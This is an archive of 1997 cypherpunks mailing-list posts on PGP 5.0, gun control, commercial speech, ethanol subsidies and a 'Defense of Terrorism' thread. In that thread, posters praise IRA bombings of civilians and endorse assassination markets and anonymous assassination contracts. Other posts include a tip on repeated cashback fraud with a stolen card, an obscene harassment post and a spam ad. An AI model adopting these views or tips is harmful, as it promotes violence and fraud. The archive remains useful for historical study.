FHw0MrdxUC8ZCOvT+gFos6mGVFojDt6V8j0qGN4UZ18uHhnBo4M6XDYUrSG7PZoY
0VEuAd1mHJs=
=RiK5
-----END PGP SIGNATURE-----

ps. PGP 5.0 seems to have mangled my line ends in the process of
signing this message. Anyone know a cure for this?

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------






From nobody at huge.cajones.com  Sat Jun  7 22:25:00 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 8 Jun 1997 13:25:00 +0800
Subject: Steak Knife Decryption (Gun control comment)
Message-ID: <199706080518.WAA14409@fat.doobie.com>



On 6/7/97 Lucky Green wrote:
>Had the victim carried a firearm, his chances of survival would have
>improved dramatically.

Statistical fact: armed private citizens caputre and/or kill more
criminals in the US than all LEAs combined.  Of course, armed
criminals also kill more private citizens than all LEAs combined.

>Gun control kills kids (and adults),

"For the first time, a civilized nation has full gun registration.
Our streets will be safer, our police more efficient,
and the world will follow our lead to the future." 
								--- Adolf Hitler 






From nobody at hidden.net  Sat Jun  7 22:51:35 1997
From: nobody at hidden.net (Anonymous)
Date: Sun, 8 Jun 1997 13:51:35 +0800
Subject: Stats on the lists
Message-ID: <199706080539.WAA22512@jefferson.hidden.net>



Someone said a while ago that they were working on a list stats generator
that makes a summary of what messages were on one feed and not another,
how fast each feed ran, and so on. Is there any news on this?
thanks







From nobody at huge.cajones.com  Sun Jun  8 00:13:14 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 8 Jun 1997 15:13:14 +0800
Subject: [CRYPTO] ElGamal
Message-ID: <199706080700.AAA16299@fat.doobie.com>



Warning: if you fuck Timmy Mayflower in the ass, a rabid 
tapeworm might bite your penis.

              /////
             [ o o ] Timmy Mayflower
              \_=_/
              _| |_
             / \_/ \
          _oOOO___OOOo_






From real at freenet.edmonton.ab.ca  Sun Jun  8 00:48:01 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 8 Jun 1997 15:48:01 +0800
Subject: [CRYPTO] ElGamal
In-Reply-To: <199706080700.AAA16299@fat.doobie.com>
Message-ID: 



I think Vulis needs each of us to send ten copies of this back to him.

On Sun, 8 Jun 1997, Huge Cajones Remailer wrote:

> Warning: if you fuck Timmy Mayflower in the ass, a rabid 
> tapeworm might bite your penis.
> 
>               /////
>              [ o o ] Timmy Mayflower
>               \_=_/
>               _| |_
>              / \_/ \
>           _oOOO___OOOo_
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From phimon at ix.netcom.com  Sun Jun  8 03:48:38 1997
From: phimon at ix.netcom.com (Philip A. Mongelluzzo)
Date: Sun, 8 Jun 1997 18:48:38 +0800
Subject: PGP 5.0 Beta
Message-ID: <3.0.2.32.19970608063244.00952970@popd.ix.netcom.com>



-----BEGIN PGP SIGNED MESSAGE-----

This may be the wrong forum for this question, if so then ignore me.

I have posted this question to the folks at PGP...

In the process of creating a set of keys with PGP 5.0 Beta an Access
Violation 
took place (this is NT).  The public key was sent to keys.pgp.com but the key 
ring was not created (or was corrupted).  How does one go about getting a key 
revoked with a lost private key?

Thanks,
Phil


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQEVAwUBM5qKS+S/ZBRgc6KnAQEXMQf/Y27LfZzhy9pePlemw5fteRox/ZfR7Eoj
pcdBkJiFYgY+RXOqzmQAQFHfiA4pnGroYAokA3CjMmqIuWUskTl07sIZkRb3Jdf5
jJ6caoEXEwusVi4koViD1wTvjIb0/csh2ORqo9uZi861lwWRsPKfjEo1x5bTLtRQ
3MioVndws7cJVDpw/D0f3LVdomZNs0GLzhMPz5/FrmbWw0E+OdLV7lcNRWpo+y7E
qGyciXbItpxpLIxV6r1cQgYVqKYwTQNZUZbWcmaIJNSpoYdG7F9BIQ/maFpKFR+2
ELsPdg9DfJYX7h/04O5HkO90cah2fjjyl036F+B0GHyT0t2L1Z+bKQ==
=wJ4+
-----END PGP SIGNATURE-----






From paul at fatmans.demon.co.uk  Sun Jun  8 03:49:08 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 8 Jun 1997 18:49:08 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: 
Message-ID: 





> How much must you hate someone to wish him/her dead ? Have you ever been
> 'contronted' with dead, Paul ? Someone of your friends, relatives, ... who
> died, perhaps ? How can you wish some other human being the same ? 
> What if the IRA would blow up the queen ? I guess Charles is the next to
> step on then ? What a progress !!

Indeed I have, as I have said in other posts I have no particular 
sympathies with the IRA, they are thugs who kill indiscriminately. 
Wishing someone dead is not that great a step from accepting that
they commit crime against you. I don`t wish the queen dead because
of her clear opposition to terrorist violence, there are other reasons
for this. Maybe wishing her dead is a little too strong in this 
particular case.

> Havalook at Kongo: Mobutu has gone. Much better now ! After several
> thousands were killed, the new president gives his first orders: "women
> should not wear tight shirts anymore (I thought they were supposed to take
> them off, but...) nor should they act in a sensual way.
> 
> Right, violence is at least A solution. But for what ?
> BTW, I'd be very interested if you would care telling something more about
> Northern Ireland. That's where you live I guess ? Are you "Catholic" or
> "Protestant" ?

I live in mainland England. NI, although still violent, is now not the 
only place bombed by the IRA, until a few years ago they mainly attacked 
targets in NI, they now bomb all over the country.
I do not claim that violence is a global solution, merely that in some 
cases it works. And I don`t believe labelling retaliation "violence" is 
really correct, the word violence is derived from violate, ie. to violate 
someones rights in a material and tangiable manner, I don`t believe 
retaliation or defence is a violation of rights, merely a response to 
agression. I personally see other ways than violence out of most 
disagreements, but I believe the only way to remove the power of the 
state is through selective violence as part of an overall strategy 
including strong cryptography and associated technologies. 

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From paul at fatmans.demon.co.uk  Sun Jun  8 04:23:17 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 8 Jun 1997 19:23:17 +0800
Subject: Steak Knife Decryption
In-Reply-To: <339a38b3.40212914@mail.eskimo.com>
Message-ID: 




>   Also, if the card was one of the Visa Debit cards (or even a real
> visa card
> for that matter) there are tons of places that it can be used without
> entering
> a PIN number or submitting to an ID check. Grocery stores and gas
> stations are
> two examples, although you cannot get cash from anywhere without using
> the PIN
> number (that I know of).

I don`t know about the USA but in the UK many large stores now have a 
system where when you make a transaction for shopping, you can ask for 
"cashback", so all you need is a signature to get cash from the card, 
however, I think the maximum amount per transaction is fairly low 
(something like $150) but there is nothing to stop someone going to a lot 
of different stores and repeating the process.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From root at iguana.be  Sun Jun  8 04:34:44 1997
From: root at iguana.be (Kris Carlier)
Date: Sun, 8 Jun 1997 19:34:44 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: 
Message-ID: 



High Paul,

On Sat, 7 Jun 1997, Paul Bradley wrote:

I'm sorry, I should refrain from posting to this list again till I
understand English ;-)

> disagreements, but I believe the only way to remove the power of the 
> state is through selective violence as part of an overall strategy 
> including strong cryptography and associated technologies. 

I agree with civil disobediance as a matter of revolt, and of course if
you have a reason to do so. Not everything the government does is wrong,
only because it is done by the government.

kr=

                   \\\___///
                  \\  - -  //
                   (  @ @  )
 +---------------oOOo-(_)-oOOo-------------+
 |     kris carlier - carlier at iguana.be    |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion    |
 |            SMS: +32-75-61.43.05         |
 +------------------------Oooo-------------+
                  oooO   (   )
                 (   )    ) /
                  \ (    (_/
                   \_)








From whgiii at amaranth.com  Sun Jun  8 04:56:37 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 8 Jun 1997 19:56:37 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706071754.MAA01524@manifold.algebra.com>
Message-ID: <199706081145.GAA02690@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706071754.MAA01524 at manifold.algebra.com>, on 06/07/97 
   at 12:54 PM, ichudov at Algebra.COM (Igor Chudov @ home) said:

>There is a lot of commercial compelled speech. For example,
>mutual funds must say that past performance is not a guarantee of future
>results.

>Do you find this kind of compelled speech unconstitutional?

Well I don't know how Duncan feels about it but I think it's highly
unconstutional.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5qcNo9Co1n+aLhhAQFKXgQAiGRKXCDfuQ8/UBQtkucbG/MygYd3Gq51
EkGt6Kmp+mbz2wGhFcEYXrK34TYCmTmE6ThiB96UoB4Qsz7I2kmm4TCbR3/cP8/9
fl+eLHGfXaKu59g4s+7thCVCZXgHVbyrPLakYwIqj1n+Wtqp8ARHcgoAJXZP+I+N
59n7r3qg/aU=
=2yF5
-----END PGP SIGNATURE-----






From whgiii at amaranth.com  Sun Jun  8 05:24:54 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 8 Jun 1997 20:24:54 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
Message-ID: <199706081214.HAA02893@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----


In , on
06/07/97 
   at 11:11 PM, Paul Bradley  said:

>I live in mainland England. NI, although still violent, is now not the 
>only place bombed by the IRA, until a few years ago they mainly attacked 
>targets in NI, they now bomb all over the country.

Well I can only see this as a good thing. :)

It is the people of England that support that illegal occupation of Irish
soil by Brittish troops. It is only right that they should have to suffer
the consequences.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5qhjY9Co1n+aLhhAQF2agQAh/6P7KFgZSmeHD1hgT0rHjWOfWArXe8g
UQMTolwI9CzRL3V4HLpd7yBJQ5VwrtcZr4nrETmONnLSwDqf23b0CxIr3nV7OlUv
FVkdz71Xz2c59MUjMXob4XTXEjtfe8/WRT3gajEAlrDQQF06lQEgCTjEtiBArAB4
Wfu/DCX18OI=
=HmfP
-----END PGP SIGNATURE-----






From declan at well.com  Sun Jun  8 05:51:44 1997
From: declan at well.com (Declan McCullagh)
Date: Sun, 8 Jun 1997 20:51:44 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706081145.GAA02690@mailhub.amaranth.com>
Message-ID: 



I don't think commercial speech should be treated as second-class speech.
But my position is hardly surprising. 

-Declan


On Sun, 8 Jun 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <199706071754.MAA01524 at manifold.algebra.com>, on 06/07/97 
>    at 12:54 PM, ichudov at Algebra.COM (Igor Chudov @ home) said:
> 
> >There is a lot of commercial compelled speech. For example,
> >mutual funds must say that past performance is not a guarantee of future
> >results.
> 
> >Do you find this kind of compelled speech unconstitutional?
> 
> Well I don't know how Duncan feels about it but I think it's highly
> unconstutional.
> 
> - -- 
> - ---------------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
> OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
> - ---------------------------------------------------------------
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3a
> Charset: cp850
> Comment: Registered_User_E-Secure_v1.1b1_ES000000
> 
> iQCVAwUBM5qcNo9Co1n+aLhhAQFKXgQAiGRKXCDfuQ8/UBQtkucbG/MygYd3Gq51
> EkGt6Kmp+mbz2wGhFcEYXrK34TYCmTmE6ThiB96UoB4Qsz7I2kmm4TCbR3/cP8/9
> fl+eLHGfXaKu59g4s+7thCVCZXgHVbyrPLakYwIqj1n+Wtqp8ARHcgoAJXZP+I+N
> 59n7r3qg/aU=
> =2yF5
> -----END PGP SIGNATURE-----
> 
> 
> 






From whgiii at amaranth.com  Sun Jun  8 06:17:56 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 8 Jun 1997 21:17:56 +0800
Subject: Responses to "Spam costs and questions" (long)
Message-ID: <199706081255.HAA03281@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 06/08/97 
   at 07:36 AM, Declan McCullagh  said:

>I don't think commercial speech should be treated as second-class speech.
>But my position is hardly surprising. 

Well I think that there are some that would confuse the issue between 1st
Amendment free speech and the issues surrounding fraud. Especially those
in government who write the laws that regulate commercial speech.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5qsdY9Co1n+aLhhAQHXDQP/XXKYn5xkMENOzSe4/stMvo4TwSYgJvUm
7Z7j4Zb+lEj6+eag923IGI50q42D+uBrjEDeepvTv09GDxfyAWLjqdx9uwW56KOe
Fo6vvyQ5Rx0rOGtLJs7Sy+XqWrzpHOZdA5Gj1KRdt8shmMuXocKT7/Fo8Czjv36J
LqcbJ4BZZHc=
=6Yqy
-----END PGP SIGNATURE-----






From show.me.the.money at denmark.it.earthlink.net  Sun Jun  8 21:44:30 1997
From: show.me.the.money at denmark.it.earthlink.net (show.me.the.money at denmark.it.earthlink.net)
Date: Sun, 8 Jun 1997 21:44:30 -0700 (PDT)
Subject: show me the money
Message-ID: <199706090247.TAA17997@denmark.it.earthlink.net>


 HOMEWORKERS URGENTLY NEEDED
Earn weekly paychecks from the comfort of your own home.
FREE details. send long , self addressed, stamped envelope
to:
 
 NATIONAL HOMEWORKERS ASSOCIATION
 DEPT MB
 411 WESTCHESTER AVE
 APT 2K
 PORTCHESTER NY 10573








From dlv at bwalk.dm.com  Sun Jun  8 06:48:18 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 21:48:18 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706081145.GAA02690@mailhub.amaranth.com>
Message-ID: <36cZ8D27w165w@bwalk.dm.com>



"William H. Geiger III"  writes:

> In <199706071754.MAA01524 at manifold.algebra.com>, on 06/07/97
>    at 12:54 PM, ichudov at Algebra.COM (Igor Chudov @ home) said:
>
> >There is a lot of commercial compelled speech. For example,
> >mutual funds must say that past performance is not a guarantee of future
> >results.
>
> >Do you find this kind of compelled speech unconstitutional?
>
> Well I don't know how Duncan feels about it but I think it's highly
> unconstutional.

I can still publish a book and claim that borshch (Russian beet soup)
cures cancer.  However if I also offer to sell beets my mail order,
the FDA can bite me. It's "constitutional" because it protects the
olygopoly of the large drug companies with political connections.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sun Jun  8 06:53:30 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 21:53:30 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <199706081214.HAA02893@mailhub.amaranth.com>
Message-ID: 



"William H. Geiger III"  writes:

> In , on
> 06/07/97
>    at 11:11 PM, Paul Bradley  said:
>
> >I live in mainland England. NI, although still violent, is now not the
> >only place bombed by the IRA, until a few years ago they mainly attacked
> >targets in NI, they now bomb all over the country.
>
> Well I can only see this as a good thing. :)
>
> It is the people of England that support that illegal occupation of Irish
> soil by Brittish troops. It is only right that they should have to suffer
> the consequences.

Paul,

The reason why the IRA bombs (or threatens to bomb) targets all over the UK
is that they want to make the voting public so sick and tired of the status
quo in NI that they'll demand a pull-out, which is just what the IRA wants.

The UK is a democracy - supposedly it's up to the voters to decide if they
want the UK to stay in NI, so the voters are being "persuaded".

The PLO used a similar successful strategy to convince Israeli voters to
agree to peace talks.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sun Jun  8 06:55:10 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 21:55:10 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706081255.HAA03281@mailhub.amaranth.com>
Message-ID: 



"William H. Geiger III"  writes:

> In , on 06/08/97
>    at 07:36 AM, Declan McCullagh  said:
>
> >I don't think commercial speech should be treated as second-class speech.
> >But my position is hardly surprising.
>
> Well I think that there are some that would confuse the issue between 1st
> Amendment free speech and the issues surrounding fraud. Especially those
> in government who write the laws that regulate commercial speech.

Sure - it's their means of livelyhood :-)

Now, "fraud" suggests that the onus is on the gumbint to prove that the
claim is false.

However if I were to market "borshch" by mail order as a cure for cancer,
I'd be asked to "prove" in some ridiculous unscientific ways that it does
indeed cure cancer - spending $100M, which only the few large drug companies
can affort - suits them and the FDA just fine.

Troll: and how about them proposed restrictions on tobacco advertising...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From kent at songbird.com  Sun Jun  8 07:15:05 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 8 Jun 1997 22:15:05 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706081255.HAA03281@mailhub.amaranth.com>
Message-ID: <19970608065652.41575@bywater.songbird.com>



On Sun, Jun 08, 1997 at 07:51:37AM -0500, William H. Geiger III wrote:
>In , on 06/08/97 
>   at 07:36 AM, Declan McCullagh  said:
>
>>I don't think commercial speech should be treated as second-class speech.
>>But my position is hardly surprising. 
>
>Well I think that there are some that would confuse the issue between 1st
>Amendment free speech and the issues surrounding fraud. Especially those
>in government who write the laws that regulate commercial speech.
>

The prospectus is a legal document -- part of the contract between the
mutual fund and the customer. 

So, the question is, should there be any legal constraints on the 
"speech" in contracts?  Can I sign a contract, and later be able to 
say "Oh, *that* clause!  That was just a *joke*"?

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From kent at songbird.com  Sun Jun  8 07:26:32 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 8 Jun 1997 22:26:32 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706081145.GAA02690@mailhub.amaranth.com>
Message-ID: <19970608071045.57576@bywater.songbird.com>



On Sun, Jun 08, 1997 at 08:42:49AM -0500, Dr.Dimitri Vulis KOTM wrote:
> "William H. Geiger III"  writes:
> 
> > In <199706071754.MAA01524 at manifold.algebra.com>, on 06/07/97
> >    at 12:54 PM, ichudov at Algebra.COM (Igor Chudov @ home) said:
> >
> > >There is a lot of commercial compelled speech. For example,
> > >mutual funds must say that past performance is not a guarantee of future
> > >results.
> >
> > >Do you find this kind of compelled speech unconstitutional?
> >
> > Well I don't know how Duncan feels about it but I think it's highly
> > unconstutional.
> 
> I can still publish a book and claim that borshch (Russian beet soup)
> cures cancer.  However if I also offer to sell beets my mail order,
> the FDA can bite me. It's "constitutional" because it protects the
> olygopoly of the large drug companies with political connections.

Drug regulation muddies the waters quite a bit -- the issue is
commercial speech in general.  And that issue is a more basic one --
some entity (the government, in this case) is designated as the
"enforcer of contracts".  Contracts are special documents that by
their very nature involve "enforcement".  What you say in a contract
binds you.  What you say outside of a contract does not.  What you say
in a contract is, therefore, and by definition, not "free". 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From nobody at REPLAY.COM  Sun Jun  8 07:47:23 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 8 Jun 1997 22:47:23 +0800
Subject: ethanol, which is a fuel made from a mixture of corn and your tax dollars
Message-ID: <199706081425.QAA05869@basement.replay.com>



June 6, 1997
Potomac Watch
Guess Who's Trying To Save Corporate Welfare

By PAUL A. GIGOT

Let us now break this column's recent pattern and praise a Republican.
He's Texan Bill Archer, who is taking a run at the federal government's
worst case of corporate welfare. He has just one problem: Other
Republicans, notably the speaker of the House.

Mr. Archer wouldn't have sat in the minority for 24 years if he wasn't
willing to tilt at windmills. But now that he's running the tax-writing
Ways and Means Committee, his tilting matters. So this year he's aiming
at ethanol, which is a fuel made from a mixture of corn and your tax
dollars. He has enough votes to get the bill through his committee, and
it could pass Congress if the GOP leadership gave it a push.

The entire corporate welfare debate is a good test of whether the GOP's
ultimate loyalties lie with business, or with taxpayers. The ethanol
savings would be only a couple of billion dollars, but in today's
Washington we have to be grateful for small favors. By shutting down
this corn sluice, Republicans would show they can ox their own political
gore. They'd also create more space for tax cuts that'd help more
Americans, such as for capital gains.

?

The political timing won't get any better. When Mr. Archer first tried
this in late 1995, Bob Dole, self-described Senator Ethanol, hadn't yet
retired. The presidential caucuses in Iowa, ethanol's Elysian fields,
were three months away, not three years as they are now.

Archer-Daniels-Midland Co., the political benefactor and ethanol
beneficiary, hadn't yet pleaded guilty to price-fixing charges.
Farm-state Republicans had more leverage over their leadership in 1995
because the GOP was trying to pass a budget with only GOP votes. Now in
bipartisan mode, Republican leaders can pick up some Democrats to keep a
majority.

All of which puts the pressure squarely on Newt Gingrich, who has to
decide if he again wants to rescue the ethanol subsidy at the House
Rules Committee pass. That's what he did in 1995 after consulting
Senator Ethanol. The speaker explained to some of us then that killing
the subsidy was too politically risky while Republicans were trying to
change so much of the rest of the government.

But Republicans are now trying to change very little of the government,
and Mr. Gingrich is still resisting. "I do not believe it is possible in
this Congress to eliminate the ethanol tax break," the speaker told
reporters this week. That's analysis masking incumbent protection. The
speaker is fronting for members who don't want to cast any difficult
votes this Congress.

Those members include several ferocious Republican opponents of the
welfare state, nonfarm version: Nebraska's Jon Christensen, erstwhile
revolutionary; John Boehner, from the farm state of greater Cincinnati;
Henry Hyde of the poverty-stricken Chicago suburbs; Michigan's Fred
Upton, the renowned budget balancer; and Helen Chenoweth, Idaho's
scourge of Big Government.

Perhaps they were inspired to sign a letter embracing ethanol subsidies
by another co-signer, the greatest class warrior in all of Congress,
Michigan Democrat and man of the people, David Bonior. He's now earned
the title of Congressman Ethanol.

This crowd must have missed a recent General Accounting Office report,
which found that the ethanol subsidy justifies none of its political
boasts. It doesn't help air quality much, hardly reduces U.S. dependence
on foreign oil and shovels much of its benefit to big ethanol producers.

"Sixty-five percent of capacity is owned by the three largest firms, and
the largest firm, Archer-Daniels-Midland, owns 50% of capacity," says
the GAO study. Some things dubbed "corporate welfare" are arguably
useful, but this isn't one of them.

What's most notable, and depressing, about all of this is that it
symbolizes the GOP Congress's change from reformers to incumbents. A
majority Democratic coalition is naturally held together by its power to
dispense government favors. But Republicans won their majority in 1994
running on ideas and reform.

The danger for Republicans is that they are slowly evolving into a
majority whose main rationale is keeping power. "That's what I fear more
than anything," says Indiana Rep. David McIntosh, who voted against the
budget deal for that reason. This may let Republicans keep their
majority in 1998, but it hardly offers much reason to increase it, or
much of an agenda. And sooner or later even House Democrats will figure
out they can win back the House if they depict Republicans as the party
of status quo government.

All politicians claim to hate corporate welfare, but they vote for it
when only the beneficiaries are watching. They could learn from T.J.
Rodgers, the Silicon Valley entrepreneur, who has rounded up 61 fellow
high-tech CEOs to say they support cutting corporate subsidies, even if
it means giving up their own federal grants. Republicans are supposed to
believe this too, as Bill Archer, to his credit, is reminding them.

--from the Wall Street Urinal, used without permission, all rights
ignored.














From whgiii at amaranth.com  Sun Jun  8 08:54:11 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 8 Jun 1997 23:54:11 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: <19970608071045.57576@bywater.songbird.com>
Message-ID: <199706081538.KAA04719@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <19970608071045.57576 at bywater.songbird.com>, on 06/08/97 
   at 07:10 AM, Kent Crispin  said:

>On Sun, Jun 08, 1997 at 08:42:49AM -0500, Dr.Dimitri Vulis KOTM wrote: >
>"William H. Geiger III"  writes:
>> 
>> > In <199706071754.MAA01524 at manifold.algebra.com>, on 06/07/97
>> >    at 12:54 PM, ichudov at Algebra.COM (Igor Chudov @ home) said:
>> >
>> > >There is a lot of commercial compelled speech. For example,
>> > >mutual funds must say that past performance is not a guarantee of future
>> > >results.
>> >
>> > >Do you find this kind of compelled speech unconstitutional?
>> >
>> > Well I don't know how Duncan feels about it but I think it's highly
>> > unconstutional.
>> 
>> I can still publish a book and claim that borshch (Russian beet soup)
>> cures cancer.  However if I also offer to sell beets my mail order,
>> the FDA can bite me. It's "constitutional" because it protects the
>> olygopoly of the large drug companies with political connections.

>Drug regulation muddies the waters quite a bit -- the issue is commercial
>speech in general.  And that issue is a more basic one --
>some entity (the government, in this case) is designated as the "enforcer
>of contracts".  Contracts are special documents that by their very nature
>involve "enforcement".  What you say in a contract binds you.  What you
>say outside of a contract does not.  What you say in a contract is,
>therefore, and by definition, not "free". 

 Ofcource what I say in a contract is "free". I can say anything I
want in a contract solong as the parties involved agree.

What is controled is my actions not my speech. If I enter into a
"contract" to provide borshch on the promise that it will cure your cancer
*knowing* that it will not then I am guilty of fraud. This fraud is caused
by my not honoring the contract. The government does not have a right to
restrict my speech in a contract only as an arbitrator of contracts do
they have a right to restrict my actions (ie: that I live up to the
conditions of the contract).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5rSwY9Co1n+aLhhAQHilwP9Fk67C2DaN3c8n4xTFvs/D0YeRAs6N85e
YooM+RAWATwuD2r7AsgB3mpxyRd954c3JIs2XLY+3nHVxiOpzBCj5LIFc8k0payS
0kBokWC+4QZDcJeZkDzD1D9XUcFI028dM5oaqeLlymtRECWwfq/OwTrpXbriW+rb
W3kqClU8HNA=
=nb0O
-----END PGP SIGNATURE-----






From paul at fatmans.demon.co.uk  Sun Jun  8 09:03:58 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 9 Jun 1997 00:03:58 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: 
Message-ID: 





> I agree with civil disobediance as a matter of revolt, and of course if
> you have a reason to do so. Not everything the government does is wrong,
> only because it is done by the government.

There we disagree. I believe the scale of crimes commited by governments 
as a whole varies from government to government, and from one time to 
another. However, the natural "evolutionary" process of government always 
results in a pervasive state which controls more than it should. This is 
why, although I support the ideals and sentiments behind minarchism, I do 
not believe it is possible, without systems such as AP, or simply 
anonymous assasination contracts, to support minarchist government and 
keep it stable and static. (maybe, even though Jim Bell intended AP to 
support and maintain anarchy it might lead to more stable minarchist 
government by providing a means of removing those who go too far in their 
search for power?).

Even then though, I cannot see how a stable minarchist state can be 
created which we can be assured will remain static in it`s powers, and 
the very notion of a state which has certain powers at its disposal, even 
if it does not use them, does not leave me with a good feeling.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

 






